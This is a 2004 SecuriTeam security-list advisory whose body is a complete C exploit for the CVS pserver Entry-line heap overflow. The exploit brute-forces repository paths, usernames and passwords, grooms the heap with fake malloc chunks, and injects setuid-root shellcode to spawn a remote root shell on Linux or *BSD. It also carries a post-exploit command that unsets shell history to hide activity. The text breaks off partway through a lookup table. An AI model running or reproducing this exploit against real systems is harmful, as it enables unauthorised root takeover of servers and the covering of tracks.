[EXPL] CVS Remote Entry Line Heap Overflow Root Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 05/23/04

  • Next message: SecuriTeam: "[EXPL] Allegro RomPager DoS Exploit"
    To: list@securiteam.com
    Date: 23 May 2004 14:05:46 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      CVS Remote Entry Line Heap Overflow Root Exploit
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/unixfocus/5HP0E2KCUU.html> CVS Entry Line Flag
    Heap Overflow, a vulnerability in the CVS engine allows a remote attacker
    to cause the product to execute arbitrary code. The following exploit code
    can be used to test your system for the mentioned vulnerability.

    DETAILS

    Exploit Linux/FreeBSD:
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <signal.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <stdarg.h>
    #include <netdb.h>
    #include <errno.h>
    #include <sys/time.h>
    #include <zlib.h>
     
     typedef unsigned char uchar;
     
     void progress(void);
     int brute_cvsroot(void);
     int brute_username(void);
     int brute_password(void);
     void hdl_crashed(int);
     void bsd_exploitation(void);
     void try_exploit(void);
     void zflush(int);
     int zprintf(char *, ...);
     int zgetch(void);
     void start_gzip(void);
     void fill_holes(void);
     char * zgets(void);
     void evil_entry(void);
     void linux_exploitation(ulong, int);
     void do_dicotomie(void);
     void do_xploit(void);
     char * flush_sock(void);
     void usage(char *);
     long getip(char *);
     void try_oneshoot(void);
     int connect_to_host(char *, int);
     int write_sock(void *, int);
     int read_sock(void *, int);
     void nopen(char *, int);
     char * ngets(void);
     void memcpy_flush(void);
     void cvs_conn(void);
     int detect_remote_os(void);
     void memcpy_remote(ulong, ulong, uchar *, int);
     void memcpy_addr(ulong, ulong, int);
     void nclose(void);
     char * scramble(char *);
     int sh(int);
     
     struct array
     {
         char * name;
         int id;
     };
     
     struct array CVSROOTS[]=
     {
         { "/cvs" , -1 },
         { "/cvsroot" , -1 },
         { "/var/cvs" , -1 },
         { "/anoncvs" , -1 },
         { "/repository" , -1 },
         { "/home/CVS" , -1 },
         { "/home/cvspublic" , -1 },
         { "/home/cvsroot" , -1 },
         { "/var/lib/cvs" , -1 },
         { "/var/cvsroot" , -1 },
         { "/usr/lib/cvs" , -1 },
         { "/usr/CVSroot" , -1 },
         { "/usr/share/cvsroot" , -1 },
         { "/usr/local/cvsroot" , -1 },
         { "/usr/local/cvs" , -1 },
         { "/webcvs" , -1 },
         { NULL , -1 },
     };
     
     struct array USERNAMES[]=
     {
         { "anonymous" , -1 },
         { "anoncvs" , -1 },
         { "cvsread" , -1 },
         { "anon" , -1 },
         { "cvs" , -1 },
         { "guest" , -1 },
         { "reader" , -1 },
         { "cvslogin" , -1 },
         { "anon-cvs" , -1 },
         { NULL , -1 },
     };
     
     struct array PASSWORDS[]=
     {
         { "" , -1 },
         { " " , -1 },
         { "anonymous" , -1 },
         { "anoncvs" , -1 },
         { "anon" , -1 },
         { "cvs" , -1 },
         { "guest" , -1 },
         { NULL , -1 },
     };
     
    #define HIGH_STACK 0xbfffffc0
    #define LOWER_STACK 0xbfffd000
    #define DEFAULT_ADDR 0xbffffd00
    #define RANGE_VALID 0xbffffe00
    #define DUMMY_ADDR 0x42424242
    #define LINUX_ADDR 0xbfffe200
    #define LINUX_SIZE 0x2000
    #define HEAPBASE 0x082c512e
     
    #define DEFAULT_TIMEOUT 20
    #define TIMEOUT DEFAULT_TIMEOUT
    #define CMD "export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:" \
                             "/usr/local/bin:/usr/local/sbin;alias ls='ls
    --color';"\
                             "unset HISTFILE;ABrox=`pwd`;cd /;echo RM -RF
    $ABrox;"\
                             "echo ---YOU ARE IN BRO : `hostname`---\nw;alias
    c=clear\n"
    #define VERT "\033[32m"
    #define NORM "\033[0m"
    #define INFO ""
    #define BAD_TRIP "WRONG !\n"
    #define GOOD_TRIP VERT"FOUND"NORM" !\n"
    #define QUIT(x...) { printf(x); exit(0); }
    #ifdef DEBUGMSG
    #define DEBUG(x...) fprintf(stderr, x)
    #else
    #define DEBUG(x...)
    #endif
    #define info(fmt...) fprintf(stderr, INFO""fmt)
    #define aff(fmt...) fprintf(stderr, fmt)
     static char tmpbuf[32000];
    #define nprintf(fmt...) { snprintf(tmpbuf, sizeof(tmpbuf), fmt); \
                             write_sock(tmpbuf, strlen(tmpbuf)); }
    #define nwrite(buf, cn) write_sock(sock, buf, cn)
    #define nread(buf, cn) read_sock(sock, buf, cn)
    #define NHOLES (256 - 31)
    #define SCNUM 128
    #define SCSIZE 32766
    #define OFFSET 106
    #define ALIGN(x, y) ((x % y) ? x + (x % y) : x)
    #define SET_FD(x) (x - CHUNK_BK)
    #define SET_BK(x) (x - CHUNK_FD)
    #define UNSET_BK(x) (x + CHUNK_FD)
    #define UNSET_FD(x) (x + CHUNK_BK)
    #define MAX_FILL_HEAP 200
    #define NUM_OFF7 (sizeof("Entry "))
    #define MSIZE 0x4c
    #define MALLOC_CHUNKSZ 8
    #define AN_ENTRYSZ 8
    #define MAGICSZ ((MALLOC_CHUNKSZ * 2) + AN_ENTRYSZ)
    #define FAKECHUNK MSIZE - MAGICSZ + (NUM_OFF7 - 1)
    #define SIZEBUF FAKECHUNK + 16
    #define SIZE_VALUE -8
    #define CHUNK_PSIZE 0
    #define CHUNK_SIZE 4
    #define CHUNK_FD 8
    #define CHUNK_BK 12
    #define OVERFLOW_NUM 8
    #define DEFAULT_SIZE 0x300
    #define SHELLCODE_OFF 0x142
    #define SHELLCODE_ADDR (addr - SHELLCODE_OFF)
    #define DUMMY2 "timetosleep"
    #define DUMMY "theosux***"
    #define MAGICSTRING "abroxyou"
    #define ABMAGIC "-AB-"
    #define ABMAGICSZ sizeof(ABMAGIC) - 1
    #define EXPLOITROX "\t@#!@"VERT"SUCCESS"NORM"#@!#\n\n"
    #define PCNT 20
    #define CVS_PORT 2401
    #define CVS_LOGIN "BEGIN AUTH REQUEST\n%s\n%s\n%s\n"\
                             "END AUTH REQUEST\n"
    #define CVS_VERIF "BEGIN VERIFICATION REQUEST\n%s\n%s\n%s\n"\
                             "END VERIFICATION REQUEST\n"
    #define CVS_SEND_ROOT "Root %s\n"
    #define CVS_GET_VERSION "version\n"
    #define CVS_FLUSH "\nnoop\nnoop\n"
    #define CVS_AUTH_FAILED "I HATE YOU"
    #define CVS_AUTH_SUCCESS "I LOVE YOU"
    #define CVS_BAD_REP "no such repository"
    #define CVS_NO_USER "no such user"
    #define CVSENTRY "Entry "
    #define CVS_ISMOD "Is-modified "
    #define CVS_ISMODSZ sizeof(CVS_ISMOD) - 1
    #define CVS_UNKNOW "unrecognized request"
    #define CVS_ERROR "error"
    #define CVS_ERROR2 "E "
    #define CVS_GZIP "Gzip-stream "
    #define CVS_OK "ok"
    #define BANNER VERT"Ac1dB1tCh3z "NORM"(C)VS linux/*BSD pserver\n"
    #define ERR_CVSROOT "unable to found a valid cvsroot\n"
    #define ERR_USERNAME "unable to found a valid username\n"
    #define ERR_PASSWORD "unable to found a valid password\n"
    #define ERR_FAILURE "Is remote really linux/bsd without security patch
    ?\n"
    #define ERR_AUTHFAILED "Fatal: authentification failure..\n"
    #define ERR_ZPRINTF "Too long zprintf (something is broken) !\n"
    #define ERR_INFLATE "Inflate error\n"
    #define ERR_CONN "cannot connect\n"
    #define ERR_GETIP "cannot resolve\n"
    #define ERR_READSOCK "cannot read data\n"
    #define ERR_WRITESOCK "cannot write data\n"
    #define SUCCESS_LOGON VERT"Ok"NORM", we log in (user:%s, pass:%s,
    cvsroot:%s)"
    #define bad_addr(x) (((x >> 8)&0xFF) == '\n' || ((x >> 8)&0xFF)=='\0'\
                             || (x & 0xFF) == '\n' || (x & 0xFF) == '\0' || \
                             (x & 0xFF) == '/' || ((x >> 8) & 0xFF) == '/' ||
    \
                             (x & 0xFF) == '\012' || ((x >> 8) & 0xFF) ==
    '\012')
     /* 0h j3sus */
     char zbuf[65536 * 4];
     int zbufpos;
     int cur_num = 0;
     int is_scramble = 0;
     int detectos = 0;
     int sock = 0;
     int port = CVS_PORT;
     ulong saddr = DEFAULT_ADDR;
     uint size = DEFAULT_SIZE;
     int timeout = DEFAULT_TIMEOUT;
     int scnum = SCNUM;
     ulong heapbase = HEAPBASE;
     int isbsd = 0;
     int usent = 0;
     int zsent = 0;
     char *root = NULL;
     char *user = NULL;
     char *pass = NULL;
     char *host = NULL;
     z_stream zout;
     z_stream zin;
     /*
     ** write(1, "abroxyou", 8) / setuid(0) / execve / exit;
     ** Linux only
     */
     uchar ab_shellcode[] =
     "\xeb\x15\x42\x4c\x34\x43\x4b\x48\x34\x37\x20\x34\x20\x4c\x31\x46\x33"
     "\x20\x42\x52\x4f\x21\x0a\x31\xc0\x50\x68\x78\x79\x6f\x75\x68\x61\x62"
     "\x72\x6f\x89\xe1\x6a\x08\x5a\x31\xdb\x43\x6a\x04\x58\xcd\x80\x6a\x17"
     "\x58\x31\xdb\xcd\x80\x31\xd2\x52\x68\x2e\x2e\x72\x67\x58\x05\x01\x01"
     "\x01\x01\x50\xeb\x12\x4c\x45\x20\x54\x52\x55\x43\x20\x43\x48\x45\x4c"
     "\x4f\x55\x20\x49\x43\x49\x68\x2e\x62\x69\x6e\x58\x40\x50\x89\xe3\x52"
     "\x54\x54\x59\x6a\x0b\x58\xcd\x80\x31\xc0\x40\xcd\x80";
     /*
     ** setuid(geteuid()) / write(1, "-AB-", 4) / dup2 / execve
     ** Linux/BSD
     */
     uchar xx_shellcode[] =
     "\x6a\x1b\x58\x31\xdb\xcd\x80\x85\xc0\x74\x42\x6a\x19\x58"
     "\x50\xcd\x80\x50\x6a\x17\x58\x50\xcd\x80\x68\x2d\x41\x42"
     "\x2d\x89\xe3\x6a\x04\x58\x50\x53\x6a\x01\x50\xcd\x80\x6a"
     "\x02\x6a\x01\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x6e\x2f"
     "\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x50"
     "\x51\x53\x50\xb0\x3b\xcd\x80\x6a\x31\x58\xcd\x80\x93\x6a"
     "\x17\x58\xcd\x80\x6a\x04\x58\x6a\x01\x5b\x68\x2d\x41\x42"
     "\x2d\x89\xe1\x89\xc2\xcd\x80\xb0\x3f\x6a\x01\x5b\x6a\x02"
     "\x59\xcd\x80\x31\xc0\x99\x50\x68\x6e\x2f\x73\x68\x68\x2f"
     "\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x00";
     
     void usage(char * base)
     {
         printf("Us4g3 : r34d 7h3 c0d3 d00d ;P\n");
         exit(0);
     }
     
     int main(int ac, char **av)
     {
         int c;
     
         setbuf(stdout, NULL);
         setbuf(stderr, NULL);
         printf(BANNER);
         while ((c = getopt(ac, av, "r:u:p:h:P:s:S:t:iRbo:n:")) != EOF)
             {
                 switch(c)
                     {
                     case 'b':
                         isbsd++;
                         break;
                     case 'R':
                         detectos++;
                         break;
                     case 'r':
                         root = strdup(optarg);
                         break;
                     case 'i':
                         is_scramble = 1;
                         break;
                     case 's':
                         saddr = strtoul(optarg, 0, 0);
                         break;
                     case 't':
                         timeout = strtoul(optarg, 0, 0);
                         break;
                     case 'S':
                         size = strtoul(optarg, 0, 0);
                         break;
                     case 'u':
                         user = strdup(optarg);
                         break;
                     case 'p':
                         pass = strdup(optarg);
                         break;
                     case 'h':
                         host = strdup(optarg);
                         break;
                     case 'P':
                         port = strtoul(optarg, 0, 0);
                         break;
                     case 'o':
                         heapbase = strtoul(optarg, 0, 0);
                         break;
                     case 'n':
                         scnum = strtoul(optarg, 0, 0);
                         break;
                     default:
                         usage(av[0]);
                     }
             }
         if (!host || (detectos && isbsd))
             usage(av[0]);
         if (!root)
             if(!brute_cvsroot())
                 QUIT(ERR_CVSROOT);
         if (!user)
             if(!brute_username())
                 QUIT(ERR_USERNAME);
         if (!pass)
             if(!brute_password())
                 QUIT(ERR_PASSWORD);
         do_xploit();
         return (0);
     }
     
     void do_xploit(void)
     {
         int linux_only = 0;
     
         signal(SIGPIPE, hdl_crashed);
         if (detectos)
             linux_only = detect_remote_os();
         if (isbsd)
             bsd_exploitation();
         else
             {
                 linux_exploitation(LINUX_ADDR, LINUX_SIZE);
                 if (!linux_only)
                     bsd_exploitation();
             }
         printf(ERR_FAILURE);
         return;
     }
     
     int detect_remote_os(void)
     {
         info("Guessing if remote is a cvs on a linux/x86...\t");
         if(range_crashed(0xbfffffd0, 0xbfffffd0 + 4) ||
            !range_crashed(0x42424242, 0x42424242 + 4))
             {
                 printf(VERT"NO"NORM", assuming it's *BSD\n");
                 isbsd = 1;
                 return (0);
             }
         printf(VERT"Yes"NORM" !\n");
         return (1);
     }
     
     void bsd_exploitation(void)
     {
         printf("Exploiting %s on a *BSD\t", host);
         do_auth();
         fill_holes();
         evil_entry();
         start_gzip();
         try_exploit();
     }
     
     void linux_exploitation(ulong addr, int sz)
     {
         char * buf;
     
         printf("Exploiting %s on a Linux\t", host);
         cvs_conn();
         fflush(stdout);
         memcpy_addr(addr, SHELLCODE_ADDR, sz);
         memcpy_remote(RANGE_VALID, SHELLCODE_ADDR, ab_shellcode,
                       sizeof(ab_shellcode) - 1);
         memcpy_flush();
         nprintf(CVS_FLUSH);
         buf = flush_sock();
         if (strstr(buf, MAGICSTRING))
             {
                 printf(EXPLOITROX);
                 sh(sock);
             }
    #ifdef SHITTEST
         sleep(333);
    #endif
         nclose();
         info(BAD_TRIP);
     }
     
     int do_auth(void)
     {
         char * your_mind;
     
         nopen(host, port);
         nprintf(CVS_LOGIN, root, user, scramble(pass));
         your_mind = flush_sock();
         if (!strstr(your_mind, CVS_AUTH_SUCCESS))
             QUIT(ERR_AUTHFAILED);
         free(your_mind);
         nprintf(CVS_SEND_ROOT, root);
     }
     
     void fill_heap(void)
     {
         int c;
     
         for (c = 0; c != MAX_FILL_HEAP; c++)
             nprintf(CVSENTRY"CCCCCCCCC/CCCCCCCCCCCCCCCCCCCCCCCCCC"
                     "CCCCCCCCCCCCCCCCCCCCC/CCCCCCCCCCC\n");
         for (c = 0; c != (MAX_FILL_HEAP * 2); c++)
             nprintf(CVSENTRY"CC/CC/CC\n");
     }
     
     void cvs_conn(void)
     {
         do_auth();
         fill_heap();
     }
     
     char * get_dummy(void)
     {
         static char buf[2048] = { '\0' };
     
         memset(buf, '\0', sizeof(buf));
         sprintf(buf, CVSENTRY"B%s/", DUMMY2);
         memset(buf + strlen(buf), 'B', SIZEBUF - strlen(DUMMY2));
         strcat(buf, "/\n");
         return (&buf[0]);
     }
     
     char * build_chunk(ulong addr1, ulong addr2, int i)
     {
         char num[20];
         char * buf = get_dummy();
     
         if (i != -1)
             {
                 sprintf(num, "%d", i);
                 memcpy(buf + NUM_OFF7, num, strlen(num));
             }
         *(int *) (buf + FAKECHUNK + CHUNK_SIZE) = SIZE_VALUE;
         *(int *) (buf + FAKECHUNK + CHUNK_FD) = SET_FD(addr1);
         *(int *) (buf + FAKECHUNK + CHUNK_BK) = SET_BK(addr2);
         return (buf);
     }
     
     void memcpy_flush(void)
     {
         int i = 0, j;
         char * buf;
         char num[20];
     
         if (!cur_num)
             return;
         buf = get_dummy();
         for (i = 0; i != cur_num - 1; i++)
             {
                 sprintf(buf, CVS_ISMOD"%s\n", DUMMY2);
                 sprintf(num, "%d", i);
                 memcpy(buf + CVS_ISMODSZ, num, strlen(num));
                 for (j = 0; j != OVERFLOW_NUM; j++)
                     nprintf(buf);
             }
         return;
     }
     
     void memcpy_remote(ulong range, ulong addr, uchar * buf,
                                           int sz)
     {
         int i;
     
         if (sz <= 0)
             return ;
         if (!cur_num)
             nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
         for (i = sz - 1, addr += (sz - 1); i >= 0; i--, addr--)
             {
                 range &= 0xFFFFFF00;
                 range += buf[i];
                 if (!bad_addr(SET_FD(addr)) && !bad_addr(range))
                     nprintf(build_chunk(addr, UNSET_BK(range), cur_num++));
             }
         return;
     }
     
     void memcpy_addr(ulong eipaddr, ulong shelladdr, int sz)
     {
         int aff = (sz / 4) / PCNT, j;
     
         if (!cur_num)
             nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
         putchar('[');
         for (j = 0; j != PCNT; j++)
             putchar(' ');
         putchar(']');
         for (j = 0; j != PCNT + 1; j++)
             putchar('\b');
         fflush(stdout);
         for (j = 0; sz >= 0 && eipaddr <= HIGH_STACK; sz -= 4, eipaddr += 4,
    j++)
             {
                 if (j == aff)
                     {
                         putchar('#');
                         fflush(stdout);
                         j = 0;
                     }
                 if (!bad_addr(SET_FD(eipaddr)) && !bad_addr(shelladdr))
                     nprintf(build_chunk(eipaddr, UNSET_BK(shelladdr),
    cur_num++));
             }
         printf("#\t");
         fflush(stdout);
         return;
     }
     
     int range_crashed(int addr, int addr2)
     {
         char * buf;
     
         cvs_conn();
         nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
         for (; addr < addr2; addr += 8)
             if (!bad_addr(SET_FD(addr)) && !bad_addr(SET_BK(addr + 4)))
                 nprintf(build_chunk(addr, addr + 4, cur_num++));
         memcpy_flush();
         nprintf(CVS_FLUSH);
         buf = flush_sock();
         if (strstr(buf, CVS_OK) || strstr(buf, CVS_UNKNOW)
             || strstr(buf, CVS_ERROR) || strstr(buf, CVS_ERROR2))
             {
                 nclose();
                 return (0);
             }
    #ifdef SHITTEST
         sleep(333);
    #endif
         nclose();
         return (1);
     }
     
     void zflush(int finish)
     {
         static char outbuf[65536];
     
         zout.next_in = zbuf;
         zout.avail_in = zbufpos;
         do {
             zout.next_out = outbuf;
             zout.avail_out = sizeof(outbuf);
             if (deflate(&zout, finish ? Z_FINISH : Z_PARTIAL_FLUSH) == -1)
                 QUIT("zflush : deflate failed !\n");
             zsent += sizeof(outbuf) - zout.avail_out;
             write_sock(outbuf, sizeof(outbuf) - zout.avail_out);
         } while (zout.avail_out == 0 && zout.avail_in != 0);
         zbufpos = 0;
         return;
     }
     
     int zprintf(char *fmt, ...)
     {
         static char buf[65536];
         int len;
         va_list ap;
     
         va_start(ap, fmt);
         len = vsnprintf(buf, sizeof(buf) - 1, fmt, ap);
         usent += len;
         if ((sizeof(zbuf) - zbufpos) < (len))
             zflush(0);
         memcpy(zbuf + zbufpos, buf, len);
         zbufpos += len;
         if (zbufpos >= sizeof(zbuf))
             QUIT(ERR_ZPRINTF);
         return (len);
     }
     
     int zgetch(void)
     {
         static char * outbuf = NULL;
         static int outpos = 0, outlen = 0;
         static char rcvbuf[32768];
         static char dbuf[4096];
         int got;
     
       retry:
         if (outpos < outlen && outlen)
             return outbuf[outpos++];
         free(outbuf);
         outlen = 0;
         outbuf = NULL;
         got = read_sock(rcvbuf, sizeof(rcvbuf));
         if (got <= 0)
             QUIT(ERR_READSOCK);
         zin.next_in = rcvbuf;
         zin.avail_in = got;
         while (1)
             {
                 int status, dlen;
     
                 zin.next_out = dbuf;
                 zin.avail_out = sizeof(dbuf);
                 status = inflate(&zin, Z_PARTIAL_FLUSH);
                 switch (status)
                     {
                     case Z_OK:
                         outpos = 0;
                         dlen = sizeof(dbuf) - zin.avail_out;
                         outlen += dlen;
                         outbuf = realloc(outbuf, outlen);
                         memcpy(outbuf + outlen - dlen, dbuf, dlen);
                         break;
                     case Z_BUF_ERROR:
                         goto retry;
                     default:
                         QUIT(ERR_INFLATE);
                     }
             }
     }
     
     char * zgets(void)
     {
         static char buf[32768];
         char * p = buf;
         int c;
     
         while (1)
             {
                 c = zgetch();
                 if (c == '\n')
                     break;
                 *p++ = c;
                 if (p > buf + sizeof(buf))
                     {
                         p--;
                         break;
                     }
             }
         *p = 0;
         return (buf);
     }
     
     void start_gzip(void)
     {
         nprintf(CVS_GZIP"1\n");
         deflateInit(&zout, 9);
         inflateInit(&zin);
         return;
     }
     
     void fill_holes(void)
     {
         int i, j;
     
         for (i = 0; i < 10; i++)
             nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
         for (i = 0; i < 10; i++)
             
    nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
         for (i = 0; i < NHOLES; i++)
             {
                 
    nprintf(CVSENTRY"ac1db1tch3z/blackhat4life/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
                 for (j = 0; j < 5; j++)
                     nprintf(CVSENTRY"%.*X\n", j * 8 - 2, 11);
             }
         nprintf("Set x=%472X\n", 10);
         return;
     }
     
     void evil_entry(void)
     {
         int i;
         ulong heap = heapbase;
     
         nprintf("Set x=\n");
         nprintf(CVSENTRY"/AB/AA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                 "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",
                 heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap
    >> 24),
                 heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap
    >> 24),
                 heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap
    >> 24),
                 heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap
    >> 24));
     }
     
     void try_exploit(void)
     {
         time_t last, now;
         int i, j, len, o;
         static char sc[SCSIZE+1];
     
         for (i = 0; i < OFFSET; i++)
             zprintf(CVS_ISMOD"AB\n");
         printf("[", SCSIZE * scnum / 1024);
         for (i = 0; i < PCNT; i++)
             putchar(' ');
         printf("]");
         for (i = 0; i < PCNT + 1; i++)
             printf("\b");
         memset(sc, 'A', SCSIZE);
         memcpy(sc + SCSIZE - sizeof(xx_shellcode), xx_shellcode,
                sizeof(xx_shellcode));
         sc[SCSIZE] = 0;
         last = o = 0;
         for (i = 0; i < scnum; i++)
             {
                 now = time(NULL);
                 if (now > last || (i + 1 == scnum))
                     {
                         last = now;
                         for (j = 0; j < o; j++)
                             printf("\b");
                         for (j = 0; j < (o = ((i+1) * PCNT / scnum)); j++)
                             printf("#");
                     }
                 zprintf(CVSENTRY"%s\n", sc);
             }
         printf("] ");
         zflush(0);
         zflush(1);
         len = read_sock(sc, sizeof(sc));
         for (i = 0; i < len; i++)
             if (!memcmp(sc + i, ABMAGIC, ABMAGICSZ))
                 {
                     printf(EXPLOITROX);
                     sh(sock);
                 }
         printf(BAD_TRIP);
     }
     
     int brute_cvsroot(void)
     {
         int i, ret = 0;
         char * rbuf;
     
         info("Bruteforcing cvsroot...\n");
         for (i = 0; CVSROOTS[i].name; i++)
             {
                 nopen(host, port);
                 nprintf(CVS_VERIF, CVSROOTS[i].name, DUMMY, scramble(DUMMY));
                 info("Trying CVSROOT = %s\t", CVSROOTS[i].name);
                 rbuf = flush_sock();
                 nclose();
                 if (!rbuf || strstr(rbuf, CVS_BAD_REP))
                     info(BAD_TRIP);
                 else if (strstr(rbuf, CVS_AUTH_FAILED) ||
                          strstr(rbuf, CVS_AUTH_SUCCESS) ||
                          strstr(rbuf, CVS_NO_USER))
                     {
                         info(GOOD_TRIP);
                         CVSROOTS[i].id = i;
                         root = CVSROOTS[i].name;
                         if (user && pass)
                             {
                                 free(rbuf);
                                 return (1);
                             }
                         ret++;
                     }
                 else
                     printf(BAD_TRIP);
                 free(rbuf);
             }
         return (ret);
     }
     
     int brute_username(void)
     {
         int i, c, ret = 0;
         char * rbuf;
     
         info("Bruteforcing cvs login... \n");
         for (c = 0; CVSROOTS[c].name; c++)
             {
                 if (!root && CVSROOTS[c].id == -1) continue;
                 for ( i=0; USERNAMES[i].name; i++ )
                     {
                         if (root)
                             CVSROOTS[c].name = root;
                         info("Trying cvsroot = %s, login = %s\t",
    CVSROOTS[c].name,
                              USERNAMES[i].name);
                         nopen(host, port);
                         nprintf(CVS_VERIF, CVSROOTS[c].name,
    USERNAMES[i].name,
                                 scramble(DUMMY));
                         rbuf = flush_sock();
                         nclose();
                         if ( strstr( rbuf, CVS_NO_USER))
                             info( BAD_TRIP, rbuf );
                         else if (strstr( rbuf, CVS_AUTH_FAILED) ||
                             strstr(rbuf, CVS_AUTH_SUCCESS))
                             {
                                 info(GOOD_TRIP);
                                 USERNAMES[i].id = CVSROOTS[c].id;
                                 user = USERNAMES[i].name;
                                 if (pass)
                                     {
                                         free(rbuf);
                                         return (1);
                                     }
                                 ret++;
                             }
                         free(rbuf);
                     }
                 if (root)
                     return (ret);
             }
         return (ret);
     }
     
     int brute_password(void)
     {
         int i, c, ret=0;
         char * rbuf;
     
         info("Bruteforcing cvs password...\n");
         for (c = 0; USERNAMES[c].name; c++)
             {
                 if (!user && USERNAMES[c].id == -1) continue;
                 for (i = 0; PASSWORDS[i].name; i++)
                     {
                         info("Trying login = %s, pass = %s\t",
    user?user:USERNAMES[c].name,
                              PASSWORDS[i].name);
                         nopen(host, port);
                         
    nprintf(CVS_VERIF,root?root:CVSROOTS[USERNAMES[c].id].name,
                                 user?user:USERNAMES[c].name,
    scramble(PASSWORDS[i].name) );
                         rbuf = flush_sock();
                         nclose();
                         if (strstr(rbuf, CVS_AUTH_FAILED))
                             info(BAD_TRIP, rbuf);
                         else if (strstr(rbuf, CVS_AUTH_SUCCESS))
                             {
                                 info(GOOD_TRIP);
                                 if (!root)
                                     root = CVSROOTS[ USERNAMES[c].id ].name;
                                 if (!user)
                                     user = USERNAMES[c].name;
                                 pass = PASSWORDS[i].name;
                                 free(rbuf);
                                 printf(SUCCESS_LOGON, user, pass, root);
                                 return (1);
                             }
                         else
                             info(BAD_TRIP);
                         free(rbuf);
                     }
                 if (user)
                     return (0);
             }
         return (0);
     }
     
     void hdl_crashed(int signum)
     {
         return;
     }
     
     int write_sock(void * buf, int sz)
     {
         fd_set wfds;
         struct timeval tv;
         int ret;
     
         if (sz <= 0)
             return (sz);
         FD_ZERO(&wfds);
         FD_SET(sock, &wfds);
         bzero(&tv, sizeof (tv));
         tv.tv_sec = timeout;
         tv.tv_usec = 0;
         while (select(sock + 1, NULL, &wfds, NULL, &tv) <= 0)
             {
                 FD_ZERO(&wfds);
                 FD_SET(sock, &wfds);
                 tv.tv_sec = timeout;
                 tv.tv_usec = 0;
             }
         if ((ret = write(sock, buf, sz)) != sz)
             QUIT(ERR_WRITESOCK);
         return (ret);
     }
     
     int read_sock(void * buf, int sz)
     {
         fd_set rd;
         struct timeval tv;
         int ret;
     
         FD_ZERO(&rd);
         FD_SET(sock, &rd);
         bzero(&tv, sizeof (tv));
         tv.tv_sec = timeout;
         tv.tv_usec = ret = 0;
         if (select(sock + 1, &rd, NULL, NULL, &tv) <= 0)
             QUIT(ERR_READSOCK);
         if ((ret = read(sock, buf, sz)) <= 0)
         return (ret);
     }
     
     char * flush_sock(void)
     {
         char * ret;
         int len, y, i = 0;
         fd_set rfds;
         struct timeval tv;
     
         FD_ZERO(&rfds);
         FD_SET(sock, &rfds);
         bzero(&tv, sizeof (tv));
         tv.tv_sec = timeout;
         tv.tv_usec = 0;
    #define BUF_SIZE 42
         ret = malloc((len = BUF_SIZE));
         if (select(sock + 1, &rfds, NULL, NULL, &tv) < 0)
             return ("");
         while ((y = read(sock, ret + i, BUF_SIZE)) > 0)
             {
                 i += y;
                 ret = realloc(ret, (len += BUF_SIZE));
             }
         if (i == len)
             realloc(ret, len + 1);
         ret[i] = 0;
         return (ret);
     }
     
     long getip(char * hostname)
     {
         struct hostent * p_hostent;
         long ipaddr;
     
         ipaddr = inet_addr( hostname );
         if (ipaddr < 0)
             {
                 p_hostent = gethostbyname(hostname);
                 if (p_hostent == NULL)
                     QUIT(ERR_GETIP);
                 memcpy( &ipaddr, p_hostent->h_addr, p_hostent->h_length );
             }
         return(ipaddr);
     }
     
     int connect_to_host(char * host, int port)
     {
         struct sockaddr_in s_in;
     
         memset( &s_in, '\0', sizeof(struct sockaddr_in) );
         s_in.sin_family = AF_INET;
         s_in.sin_addr.s_addr = getip( host );
         s_in.sin_port = htons( port );
         if ((sock = socket( AF_INET, SOCK_STREAM, 0 )) <= 0)
             QUIT(ERR_CONN);
         if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)))
             QUIT (ERR_CONN);
    #ifdef SHITTEST
                 sleep(15);
    #endif
         fcntl(sock, F_SETFL, O_NONBLOCK);
         return (sock);
     }
     
     void nopen(char * host, int port)
     {
         connect_to_host(host, port);
         cur_num = 0;
         return;
     }
     
     void nclose(void)
     {
         cur_num = 0;
         close(sock);
         return;
     }
     
     unsigned char shifts[] = {
        0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
       16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
      114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
      111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
       41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
      125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
       36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
       58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
      225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
      199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
